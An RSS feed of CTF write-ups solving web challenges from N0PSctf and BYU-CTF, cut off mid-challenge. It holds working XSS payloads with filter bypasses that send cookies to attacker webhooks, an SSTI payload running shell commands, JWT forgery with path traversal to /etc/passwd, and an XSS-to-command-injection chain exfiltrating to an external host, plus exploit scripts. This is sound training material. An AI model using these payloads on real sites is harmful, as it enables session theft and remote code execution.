<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zagrouba Alaa on Medium]]></title>
        <description><![CDATA[Stories by Zagrouba Alaa on Medium]]></description>
        <link>https://medium.com/@zagrouba.alaa0101?source=rss-2809fa8bc9d1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*S4yyY-lKMklsf1zQnL3egA.jpeg</url>
            <title>Stories by Zagrouba Alaa on Medium</title>
            <link>https://medium.com/@zagrouba.alaa0101?source=rss-2809fa8bc9d1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 06:30:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zagrouba.alaa0101/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[N0PSctf]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/n0psctf-948b570f1bb9?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/948b570f1bb9</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Sun, 02 Jun 2024 20:33:14 GMT</pubDate>
            <atom:updated>2024-06-02T20:33:14.732Z</atom:updated>
            <content:encoded><![CDATA[<p>Good job, a solid first edition CTF, here is a <strong>quick</strong> writeup for the web challenges :)</p><h3>WEB COOK</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZkQA0lI-mZQc6zGf1tRYA.png" /></figure><p>This one is pretty easy, FOLLOW THE INSTRUCTIONS. We submit a username then we check the cookie we find a not signed cookie it only has the header which is just a base64 encoded JSON so to change isAdmin to one we can do</p><pre>echo &#39;{ &quot;username&quot;: &quot;a&quot;, &quot;isAdmin&quot;: 1}&#39; | base64</pre><p>and we get <strong>eyAidXNlcm5hbWUiOiAiYSIsICJpc0FkbWluIjogMX0K</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*27g-fOSoqvedmsq28KK3WQ.png" /></figure><p><strong>Flag:</strong> N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}</p><h3>OUTSIDERS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-Pm1auAZZXhA6iVOthLwA.png" /></figure><blockquote>you come from the big outside, I don&#39;t trust you</blockquote><p>Hmmm, then I have to come from the inside which usually in web refers to localhost right? we can trick it with the <strong>X-Forwarded-For</strong> header.</p><blockquote>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For"><strong>X-Forwarded-For</strong></a> (XFF) request header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through a proxy server.</blockquote><pre>curl -H &quot;X-Forwarded-For: 127.0.0.1&quot; https://nopsctf-outsiders.chals.io/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*CGuXFlQOUcVqcT-2xSSrdw.png" /></figure><p><strong>Flag:</strong> N0PS{XF0rw4Rd3D}</p><h3>XSS LAB</h3><h4>XSS 1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XCzRosPnm4FMBIemzFWoNQ.png" /></figure><p>No filters, just basic XSS with a script tag, for some reason fetch did not work with the bot, we can use “window.location.href” instead.</p><pre>&lt;script&gt;window.location.href=`[your-webhook]?c=${document.cookie}`&lt;/script&gt;</pre><p>Endpoint for the XSS2: /bf2a73106a3aa48bab9b8b47e4bd350e</p><h4>XSS 2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*02i0OFopWOgzYuTHM0rlZw.png" /></figure><pre>def filter_2(payload):<br>    return payload.lower().replace(&quot;script&quot;, &quot;&quot;).replace(&quot;img&quot;, &quot;&quot;).replace(&quot;svg&quot;, &quot;&quot;)</pre><p>the replace in Python is not recursive so it is gonna replace the first occurrence only. So, “sc<strong>script</strong>ript” after replace() will return to “script”.</p><pre>&lt;scscriptript&gt;window.location.href=`[your-webhook]?c=${document.cookie}`&lt;/scscriptript&gt;</pre><p>Endpoint for the XSS3: /3e79c8a64bd10f5fa897b7832384f043</p><h4>XSS 3</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mSav3eVF1UaGoUoJi9YCsw.png" /></figure><pre>def filter_3(payload):<br>    if &quot;://&quot; in payload.lower():<br>        return &quot;Nope&quot;<br>    if &quot;document&quot; in payload.lower():<br>        return &quot;Nope&quot;<br>    if &quot;cookie&quot; in payload.lower():<br>        return &quot;Nope&quot;<br>    return payload.lower().replace(&quot;script&quot;, &quot;&quot;).replace(&quot;img&quot;, &quot;&quot;).replace(&quot;svg&quot;, &quot;&quot;)</pre><p>Our webhook URL contains <strong>://</strong> so to bypass that we can add \ between the two slashes it will not change anything it is still a valid URL:<br>https://google.com == https:/\/google.com</p><p>Also, we can’t write “document” and “cookie” directly but what if we do<br>d<strong>img</strong>ocument and c<strong>img</strong>ookie</p><p>Do you see the img tag? It is going to be replaced with an empty string later, so dimgocument will become document and cimgcookie will become cookie</p><pre>&lt;scscriptript&gt;window.location.href=`https:/\/[your-domain]?c=${dimgocument.cimgookie}`&lt;/scscriptript&gt;</pre><p>Endpoint for the XSS4: /f40e749b80cff27f8e726b2a95740dd6</p><h4>XSS 4</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SCRhshy2IhzTkHUWFNHvnw.png" /></figure><pre>def filter_4(payload):<br>    if any(c in payload for c in &#39;+&quot;/&#39;):<br>        return &quot;Nope&quot;<br>    if &quot;://&quot; in payload.lower():<br>        return &quot;Nope&quot;<br>    if &quot;document&quot; in payload.lower():<br>        return &quot;Nope&quot;<br>    if &quot;cookie&quot; in payload.lower():<br>        return &quot;Nope&quot;<br>    return payload.replace(&quot;script&quot;, &quot;&quot;).replace(&quot;img&quot;, &quot;&quot;).replace(&quot;svg&quot;, &quot;&quot;)</pre><p>We can’t use + or “ or / <br>to close the script tag &lt;/script&gt; we need to use / so let&#39;s use the &lt;img&gt; tag instead since it is a self closing tag with the same technique im<strong>img</strong>g — &gt; img</p><p>What about the // in the webhook URL? actually, we can use backslashes in URLs and they will still be valid. <a href="https://google.com/">https://google.com</a> == https:\\google.com</p><pre>&lt;imimgg src=x onerror=&#39;window.location.href=`https:\\\\[your-domain]?c=${dimgocument.cimgookie}`&#39; &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtXeRG5SHmdj7b-0nqkv9A.png" /></figure><p><strong>Exploit Script</strong></p><pre>import requests<br><br><br>url = &quot;https://nopsctf-xss-lab.chals.io/f40e749b80cff27f8e726b2a95740dd6&quot;<br><br><br>xss1 = &quot;&quot;&quot;&lt;script&gt;window.location.href=`https://your-domain?c=${document.cookie}`&lt;/script&gt;&quot;&quot;&quot;<br><br>xss2 = &quot;&quot;&quot;&lt;scscriptript&gt;window.location.href=`https://your-domain?c=${document.cookie}`&lt;/scscriptript&gt;&quot;&quot;&quot;<br><br>xss3 = &quot;&quot;&quot;&lt;scscriptript&gt;window.location.href=`https:/\/your-domain?c=${dimgocument.cimgookie}`&lt;/scscriptript&gt;&quot;&quot;&quot;<br><br>xss4 = &quot;&quot;&quot;&lt;imimgg src=x onerror=&#39;window.location.href=`https:\\\\your-domain?c=${dimgocument.cimgookie}`&#39; &gt;&quot;&quot;&quot;<br><br>data = {&quot;payload&quot;:xss4}<br><br>resp = requests.post(url,data=data)<br><br>print(resp.text)<br><br></pre><p><strong>Flag: </strong>N0PS{cR05s_S1t3_Pr0_5cR1pT1nG}</p><h3>GET A GIFT</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92Xr-aLunRrtVrz_fCJNWQ.png" /></figure><p>If we inspect we see the filter script</p><pre>document<br>  .getElementById(&quot;gift-form&quot;)<br>  .addEventListener(&quot;submit&quot;, function (e) {<br>    e.preventDefault();<br>    let code = document.getElementById(&quot;code&quot;).value;<br>    if (code.length == 0) {<br>      alert(&quot;Please enter your gift code!&quot;);<br>      return;<br>    }<br>    if (/[A-Z]{4}-[0-9]{4}-.{4,}/g.test(code) == false) {<br>      alert(&quot;Please enter a valid gift code!&quot;);<br>      return;<br>    }<br>    document.getElementById(&quot;gift-form&quot;).submit();<br>  });</pre><p>The gift code should start with exactly 4 upper case letters, then a hyphen (-) then exactly 4 digits then a hyphen, and then at least 4 characters.</p><p>If we enter ABCD-1234-hello we will get “The code ABCD-1234-hello is invalid”. So, our input is reflected on the page, it is definitely <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md"><strong>SSTI</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*CqVvhw0fZxFf6ON-Erxw0w.png" /></figure><p>ABCD-1234-${{7*7}} — &gt; “the code ABCD-1234-${7*7} is invalid”<br>So with trial and error, we could tell that it was replacing each two consecutive curly braces {{ with a single one { and it is removing spaces too.</p><p>Then ABCD-123-${{ {{7*7}} }}will work because every two braces will result in only one and the spaces will be removed. (you will see in the code that it is replacing the braces before the spaces)</p><p>Final payload</p><pre>ABCD-1234-${{ {{self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;cat${IFS}app.py&#39;).read()}} }}</pre><p>Notice that spaces in the command will be deleted too. “cat app.py” will not work but we have a bash bypass for that with ${IFS}. <a href="https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#bypass-forbidden-spaces"><strong>read more</strong></a></p><p>The first thing we do is “<strong>ls</strong>” and we find the source code (app.py)</p><pre>from flask import Flask, request, render_template_string, render_template<br>import re<br><br>app = Flask(__name__)<br><br>app.valid_code = &#39;SSTI-1337-Templ4Te-1nJ3cT10N&#39;<br><br>page = &#39;&#39;&#39;{%% extends &quot;base.html&quot; %%}<br>{%% block title %%}%s{%% endblock %%}<br>{%% block content %%}<br>&lt;p class=&#39;message&#39;&gt;%s&lt;/p&gt;<br>{%% endblock %%}&#39;&#39;&#39;<br><br>@app.route(&#39;/&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>def index():<br><br>    if request.method == &#39;POST&#39;:<br><br>        regex = &quot;[A-Z]{4}-[0-9]{4}-.{4,}&quot;<br>        code = request.form[&#39;code&#39;]<br>        code = re.sub(&quot;[ ]+&quot;, &#39;&#39;, re.sub(&quot;[\}]+&quot;, &#39;}&#39;, re.sub(&quot;[\{]+&quot;, &#39;{&#39;, code)))<br>        if not re.match(regex, code):<br>            return render_template_string(page % (&#39;Invalid code&#39;, &#39;Invalid code format&#39;))<br>        if code == app.valid_code:<br>            return render_template_string(page % (&#39;Valid code!&#39;, &#39;This code is valid! You have won a gift!&#39;))<br>        else:<br>            return render_template_string(page % (&#39;Invalid code&#39;, &#39;The code &lt;pre&gt;%s&lt;/pre&gt; is invalid.&#39; % (code)))<br>    else:<br>        return render_template(&#39;base.html&#39;)<br><br>@app.errorhandler(404)<br>def pageNotFound(error):<br>    return render_template_string(page % (&#39;Page not found&#39;, &#39;This page does not exist&#39;)), 404<br><br>@app.errorhandler(500)<br>def serverError(error):<br>    return render_template_string(page % (&#39;Server error&#39;, &#39;There was an error on the server&#39;)), 500<br><br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=80)</pre><p>And that is the flag.</p><h4>Exploit Script</h4><pre>import requests<br>from rich import print<br>from bs4 import BeautifulSoup<br><br>url = &quot;https://nopsctf-getagift.chals.io/&quot;<br><br>data = {&quot;code&quot;: &quot;ABCD-1234-${{ {{self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;cat${IFS}app.py&#39;).read()}} }}&quot;}<br><br>resp = requests.post(url,data=data)<br><br>soup = BeautifulSoup(resp.text, &#39;html.parser&#39;)<br><br>p = soup.find(&#39;p&#39;)<br><br>print(p.text)</pre><p><strong>Flag: </strong>N0PS{SSTI-1337-Templ4Te-1nJ3cT10N}</p><blockquote>Thanks for reading ❤</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=948b570f1bb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BYU-CTF]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/byu-ctf-2024-a7214a64a70d?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7214a64a70d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-ctf-writeup]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Mon, 20 May 2024 03:05:02 GMT</pubDate>
            <atom:updated>2026-05-15T08:13:13.651Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>A great CTF, with a wide variety of challenges, stable infrastructure, and a nice difficulty curve. Hats off to Legoclones and other authors too ;)</p><p><strong>Note</strong>: the web challenges do not have an interesting interface, just some text: “<em>Bro did you really think I care about the front end enough to make one?</em>” yeah it looks like he’s busy :) but there is one that has some styling…</p><p>Challenges:</p><ul><li><a href="#ec47">Random</a></li><li><a href="#60bb">Not A Problem</a></li><li><a href="#aafd">Argument</a></li><li><a href="#dbb3">Triple Whammy</a></li></ul><h3>[Web] Random — 205 solves</h3><h4>First Look</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*Ty3V_MI1sb2AA-fO3VnoCg.png" /><figcaption>title &amp; description</figcaption></figure><p>We are given a URL and source code, here is the full code</p><pre># imports<br>from flask import Flask, abort, request, make_response, Response<br>import hashlib, time, jwt, os<br><br><br># initialize flask<br>app = Flask(__name__)<br>time_started = round(time.time())<br>APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()<br><br><br># check authorization before request handling<br>@app.before_request<br>def check_auth():<br>    # ensure user is an administrator<br>    session = request.cookies.get(&#39;session&#39;, None)<br><br>    if session is None:<br>        abort(403)<br><br>    try:<br>        payload = jwt.decode(session, APP_SECRET, algorithms=[&#39;HS256&#39;])<br>        if payload[&#39;userid&#39;] != 0:<br>            abort(401)<br>    except:<br>        abort(Response(f&#39;&lt;h1&gt;NOT AUTHORIZED&lt;/h1&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt; This system has been up for {round(time.time()-time_started)} seconds fyi :wink:&#39;, status=403))<br><br><br># list files<br>@app.route(&#39;/api/files&#39;, methods=[&#39;GET&#39;])<br>def list_files():<br>    return os.listdir(&#39;files/&#39;)<br><br><br># get a file<br>@app.route(&#39;/api/file&#39;, methods=[&#39;GET&#39;])<br>def get_file():<br>    filename = request.args.get(&#39;filename&#39;, None)<br><br>    if filename is None:<br>        abort(Response(&#39;No filename provided&#39;, status=400))<br><br>    # prevent directory traversal<br>    while &#39;../&#39; in filename:<br>        filename = filename.replace(&#39;../&#39;, &#39;&#39;)<br><br>    # get file contents<br>    return open(os.path.join(&#39;files/&#39;, filename),&#39;rb&#39;).read()<br><br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=1337, threaded=True)</pre><h4>Analysis</h4><p>If we visit the URL, we get 403 Forbidden because we did not set the session cookie. Before each request, we must have a valid JWT cookie for authentication, which is signed with the APP_SECRET.</p><pre>time_started = round(time.time())<br>APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()</pre><p>We notice that the APP_SECRET is a hash of the start time of the server, <strong>time_started, </strong>which we can get if we give any value to the session cookie to trigger the except and get it included in the response then we extract it with simple math.</p><pre>try:<br>  payload = jwt.decode(session, APP_SECRET, algorithms=[&#39;HS256&#39;])<br>  if payload[&#39;userid&#39;] != 0:<br>     abort(401)<br>except:<br>  abort(Response(f&#39;&lt;h1&gt;NOT AUTHORIZED&lt;/h1&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt; \<br>            This system has been up for {round(time.time()-time_started)} \<br>            seconds fyi :wink:&#39;, status=403))</pre><blockquote>time_started = round(time.time()) - (round(time.time() - time_started))</blockquote><p>I don’t know if you noticed, but the round() function plays an important role by giving us a second to calculate and send the request.</p><p>Now we can request files through the /api/fileroute. From the Dockerfile we see that the flag is not in the ‘files’ directory it is in a randomly named directory in the home directory of the user ‘ctf’ but the route checks for path traversal ../ and recursively strips it.</p><pre>@app.route(&#39;/api/file&#39;, methods=[&#39;GET&#39;])<br>def get_file():<br>    filename = request.args.get(&#39;filename&#39;, None)<br><br>    if filename is None:<br>        abort(Response(&#39;No filename provided&#39;, status=400))<br><br>    # prevent directory traversal<br>    while &#39;../&#39; in filename:<br>        filename = filename.replace(&#39;../&#39;, &#39;&#39;)<br><br>    # get file contents<br>    return open(os.path.join(&#39;files/&#39;, filename),&#39;rb&#39;).read()</pre><p>it turns out that os.path.join, let’s say, vulnerable (actually it is documented as a feature <a href="https://samy.blog/rtfm/"><strong>read more</strong></a>)</p><blockquote>If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.</blockquote><p>We know that <strong>/etc/passwd</strong><em> </em>lists the users on the system with their home directory so we can request it with<br><strong>https://random.chal.cyberjousting.com/api/file?filename=/etc/passwd</strong></p><p>Then we get the directory name and we fetch the flag:<br><strong>/api/file?filename=/439f4860b2c8e9cc50bf2e5dca2e442f/flag.txt</strong></p><h4>Exploit</h4><pre>import requests<br>import re<br>import time<br>import hashlib<br>import jwt<br><br>url = &quot;https://random.chal.cyberjousting.com/api/file?filename=/439f4860b2c8e9cc50bf2e5dca2e442f/flag.txt&quot;<br><br>session = requests.Session()<br><br>response = session.get(url, cookies={&quot;session&quot;:&quot;junk&quot;})<br>print(response.text)<br><br>match = re.search(r&#39;up for (\d+) seconds&#39;, response.text)<br>seconds = int(match.group(1))<br><br>secret_key = hashlib.sha256(str(round(time.time()) - seconds).encode()).hexdigest()<br><br>payload = {<br>    &#39;userid&#39;: 0<br>}<br>token = jwt.encode(payload, secret_key, algorithm=&#39;HS256&#39;)<br><br>cookies = {<br>    &#39;session&#39;: token<br>}<br><br>res = session.get(url,cookies=cookies).text<br>print(res)</pre><p><strong>Flag: </strong>byuctf{expl01t_chains_involve_multiple_exploits_in_a_row}</p><h3>[Web] Not A Problem — 106 solves</h3><h4>First Look</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*bt3h9UtCqkPQSl3gfjtj-Q.png" /><figcaption>title &amp; description</figcaption></figure><p>We are given two URLs and source code. Most of the time, if we are given an admin bot it it is an XSS vulnerability, keep that in mind.</p><p>As I said the interface is nothing fancy so here is the <strong>server.py</strong> code</p><pre># imports<br>from flask import Flask, request<br>import uuid, subprocess<br><br><br># initialize flask<br>app = Flask(__name__)<br>SECRET = open(&quot;secret.txt&quot;, &quot;r&quot;).read()<br>stats = []<br><br><br># index<br>@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])<br>def main():<br>    return &#39;Bro did you really think I care about the front end enough to make one?&#39;<br><br><br># get stats<br>@app.route(&#39;/api/stats/&lt;string:id&gt;&#39;, methods=[&#39;GET&#39;])<br>def get_stats(id):<br>    for stat in stats:<br>        if stat[&#39;id&#39;] == id:<br>            return str(stat[&#39;data&#39;])<br>        <br>    return &#39;{&quot;error&quot;: &quot;Not found&quot;}&#39;<br><br><br># add stats<br>@app.route(&#39;/api/stats&#39;, methods=[&#39;POST&#39;])<br>def add_stats():<br>    try:<br>        username = request.json[&#39;username&#39;]<br>        high_score = int(request.json[&#39;high_score&#39;])<br>    except:<br>        return &#39;{&quot;error&quot;: &quot;Invalid request&quot;}&#39;<br>    <br>    id = str(uuid.uuid4())<br><br>    stats.append({<br>        &#39;id&#39;: id,<br>        &#39;data&#39;: [username, high_score]<br>    })<br>    return &#39;{&quot;success&quot;: &quot;Added&quot;, &quot;id&quot;: &quot;&#39;+id+&#39;&quot;}&#39;<br><br><br># current date<br>@app.route(&#39;/api/date&#39;, methods=[&#39;GET&#39;])<br>def get_date():<br>    # get &quot;secret&quot; cookie<br>    cookie = request.cookies.get(&#39;secret&#39;)<br><br>    # check if cookie exists<br>    if cookie == None:<br>        return &#39;{&quot;error&quot;: &quot;Unauthorized&quot;}&#39;<br>    <br>    # check if cookie is valid<br>    if cookie != SECRET:<br>        return &#39;{&quot;error&quot;: &quot;Unauthorized&quot;}&#39;<br>    <br>    modifier = request.args.get(&#39;modifier&#39;,&#39;&#39;)<br>    <br>    return &#39;{&quot;date&quot;: &quot;&#39;+subprocess.getoutput(&quot;date &quot;+modifier)+&#39;&quot;}&#39;<br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=1337, threaded=True)</pre><p>And this is the bot (<a href="https://drive.google.com/file/d/1SXJhwL2QOc5pqWGnHA5g_-kw0aRnOnw5/view?usp=sharing"><strong>bot.js</strong></a><strong>)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*O7FITH5wts97pzEtCFhe1A.png" /></figure><h4>Analysis</h4><p>We can see the code injection vulnerability the description talks about in the /api/dateroute</p><pre>return &#39;{&quot;date&quot;: &quot;&#39;+subprocess.getoutput(&quot;date &quot;+modifier)+&#39;&quot;}&#39;</pre><p>Unfortunately, It requires a cookie with a secret value only the bot has.</p><pre>const page = await browser.newPage()<br><br>try {<br>      await page.setUserAgent(&#39;puppeteer&#39;);<br>      let cookies = [{<br>          name: &#39;secret&#39;,<br>          value: SECRET,<br>          domain: &#39;127.0.0.1&#39;,<br>          httpOnly: true<br>      }]<br>      await page.setCookie(...cookies)<br>      await page.goto(url, { timeout: 5000, waitUntil: &#39;networkidle2&#39; })<br><br>  } finally {<br>      await page.close()<br>  }</pre><p><strong>Then</strong> let’s send that endpoint to the bot, get a command injection, and do whatever we want !! <br>Sorry, it is not that easy, if we look at the bot.js we see the filter</p><pre>    let url = CHAL_URL + path;<br><br>    if (url.includes(&quot;date&quot;) || url.includes(&quot;%&quot;)) {<br>        res.send(&#39;Error: &quot;date&quot; is not allowed in the URL&#39;)<br>        return<br>    }</pre><p>However, there is a functionality to add stats and request them.</p><pre># get stats<br>@app.route(&#39;/api/stats/&lt;string:id&gt;&#39;, methods=[&#39;GET&#39;])<br>def get_stats(id):<br>    for stat in stats:<br>        if stat[&#39;id&#39;] == id:<br>            return str(stat[&#39;data&#39;])<br>        <br>    return &#39;{&quot;error&quot;: &quot;Not found&quot;}&#39;<br><br># add stats<br>@app.route(&#39;/api/stats&#39;, methods=[&#39;POST&#39;])<br>def add_stats():<br>    try:<br>        username = request.json[&#39;username&#39;]<br>        high_score = int(request.json[&#39;high_score&#39;])<br>    except:<br>        return &#39;{&quot;error&quot;: &quot;Invalid request&quot;}&#39;<br>    <br>    id = str(uuid.uuid4())<br><br>    stats.append({<br>        &#39;id&#39;: id,<br>        &#39;data&#39;: [username, high_score]<br>    })<br>    return &#39;{&quot;success&quot;: &quot;Added&quot;, &quot;id&quot;: &quot;&#39;+id+&#39;&quot;}&#39;</pre><p>We have control over the username, which is reflected back on the page without any filtering or sanitization. The XSS here is clear as day :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5rWkwr352_rV0alk-SFXg.png" /><figcaption>ADD</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yf6DA5qK72yL7mEe5pSaDQ.png" /><figcaption>GET</figcaption></figure><p>Now, that we know there is XSS, can we send the infected page to the bot and steal the secret from him? basic stuff right? Sorry to tell you that the httponly tag is set on the cookie.</p><blockquote>An <strong>HttpOnly Cookie </strong>is a tag added to a browser cookie that prevents client-side scripts from accessing data. It provides a gate that prevents the specialized cookie from being accessed by anything other than the server.</blockquote><p>If he has the secret, let him visit the command injection route <strong>by XSS not directly as I mentioned above.<br></strong>So, let&#39;s create a malicious page that has our XSS script payload which is gonna make the bot send a request to the vulnerable endpoint and make him execute the command we want and send the result to a webhook.</p><pre>&lt;script&gt;<br>fetch(&#39;/api/date?modifier=;cat flag.txt&#39;)<br>    .then(response =&gt; response.text())<br>    .then(content =&gt; <br>        fetch(&#39;https://01hy9t46r8rc0rbs8w8rje225q00-b607337f9824b7609e68.requestinspector.com&#39;, {<br>            method: &#39;POST&#39;,<br>            body: &#39;content=&#39; + encodeURIComponent(content)<br>        })<br>    );<br>&lt;/script&gt;</pre><p><strong>Note</strong>: you can remove encodeURIComponent but it is good practice to prevent losing characters or causing problems if the flag has special chars</p><p>Now, our page has this script, if we send the page /api/stats/idto the bot, he will execute the script and exfiltrate the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xPIcLK6CpIVxhQ3lxDOFw.png" /></figure><h4>Exploit</h4><pre>import requests<br>import json<br><br># Inject XSS<br>url = &quot;https://not-a-problem.chal.cyberjousting.com/api/stats&quot;<br><br>payload = &quot;&quot;&quot;&lt;script&gt;fetch(&#39;/api/date?modifier=;cat flag.txt&#39;).then(response =&gt; response.text()).then(content =&gt; fetch(&#39;your-webhook&#39;, { method: &#39;POST&#39;, body: &#39;content=&#39; + encodeURIComponent(content) }))&lt;/script&gt;&quot;&quot;&quot;<br><br>session = requests.Session()<br><br>data = {<br>    &quot;username&quot;: payload,<br>    &quot;high_score&quot; : 10<br>}<br><br>resp = session.post(url, json=data)<br>dic = json.loads(resp.text)<br><br># Send to bot<br>bot = &quot;https://not-a-problem-admin.chal.cyberjousting.com/visit&quot;<br><br>data = {<br>    &quot;path&quot;: f&quot;api/stats/{dic[&quot;id&quot;]}&quot;<br>}<br>resp = session.post(bot, data=data)<br><br>print(resp.text)</pre><p><strong>Flag:</strong> byuctf{“not_a_problem”_YEAH_RIGHT}</p><h3>[Web] Argument — 70 solves</h3><h4>First Look</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*LOnfezY-d_m0QqZXjqMHCw.png" /><figcaption>title &amp; description</figcaption></figure><p>We are given a URL and source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVScGeiiregxZ0LPf6tCrA.png" /></figure><p>We can upload files and then download them as <em>download.tar</em> so the app compresses the files we give it with tar and throw them back.<br>Let’s check the source code</p><pre> # imports<br>from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request<br>import uuid, os<br><br><br># initialize flask<br>app = Flask(__name__)<br><br><br># ensure each user has a uuid session<br>@app.before_request<br>def check_uuid():<br>    uuid_cookie = request.cookies.get(&#39;uuid&#39;, None)<br><br>    # ensure user has uuid_cookie<br>    if uuid_cookie is None:<br>        response = make_response(redirect(&#39;/&#39;))<br>        response.set_cookie(&#39;uuid&#39;, str(uuid.uuid4()))<br>        return response<br>    <br>    # ensure uuid_cookie is valid UUID<br>    try:<br>        uuid.UUID(uuid_cookie)<br>    except ValueError:<br>        response = make_response(redirect(&#39;/&#39;))<br>        response.set_cookie(&#39;uuid&#39;, str(uuid.uuid4()))<br>        return response<br>    <br>    g.uuid = uuid_cookie<br><br>    if not os.path.exists(f&#39;uploads/{g.uuid}&#39;):<br>        os.mkdir(f&#39;uploads/{g.uuid}&#39;)<br><br><br># main dashboard<br>@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])<br>def main():<br>    return render_template(&#39;index.html&#39;, files=os.listdir(f&#39;uploads/{g.uuid}&#39;))<br><br># upload file<br>@app.route(&#39;/api/upload&#39;, methods=[&#39;POST&#39;])<br>def upload():<br>    file = request.files.get(&#39;file&#39;, None)<br>    if file is None:<br>        return &#39;No file provided&#39;, 400<br>    <br>    # check for path traversal<br>    if &#39;..&#39; in file.filename or &#39;/&#39; in file.filename:<br>        return &#39;Invalid file name&#39;, 400<br>    <br>    # check file size<br>    if len(file.read()) &gt; 1000:<br>        return &#39;File too large&#39;, 400<br>    <br>    file.save(f&#39;uploads/{g.uuid}/{file.filename}&#39;)<br>    return &#39;Success! &lt;script&gt;setTimeout(function() {window.location=&quot;/&quot;}, 3000)&lt;/script&gt;&#39;, 200<br><br><br># download file<br>@app.route(&#39;/api/download&#39;, methods=[&#39;GET&#39;])<br>def download():<br>    @after_this_request<br>    def remove_file(response):<br>        os.system(f&quot;rm -rf uploads/{g.uuid}/out.tar&quot;)<br>        return response<br><br>    # make a tar of all files<br>    os.system(f&quot;cd uploads/{g.uuid}/ &amp;&amp; tar -cf out.tar *&quot;)<br><br>    # send tar to user<br>    return send_file(f&quot;uploads/{g.uuid}/out.tar&quot;, as_attachment=True, download_name=&#39;download.tar&#39;, mimetype=&#39;application/octet-stream&#39;)<br><br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=1337, threaded=True)</pre><h4>Analysis</h4><p>everything looks in place except this code snippet:</p><pre>if len(file.read()) &gt; 1000:<br>        return &#39;File too large&#39;, 400<br>    <br>file.save(f&#39;uploads/{g.uuid}/{file.filename}&#39;)</pre><p>file.read() reads all the bytes and so, when file.save()is called, the file pointer is at the end of the file and so you end up with a 0-byte file.<br><strong>So all the files we give are gonna be empty when saved.<br></strong>what about the os.system() it looks suspicious! I searched for <em>“tar to rce”<br></em>and I found the <a 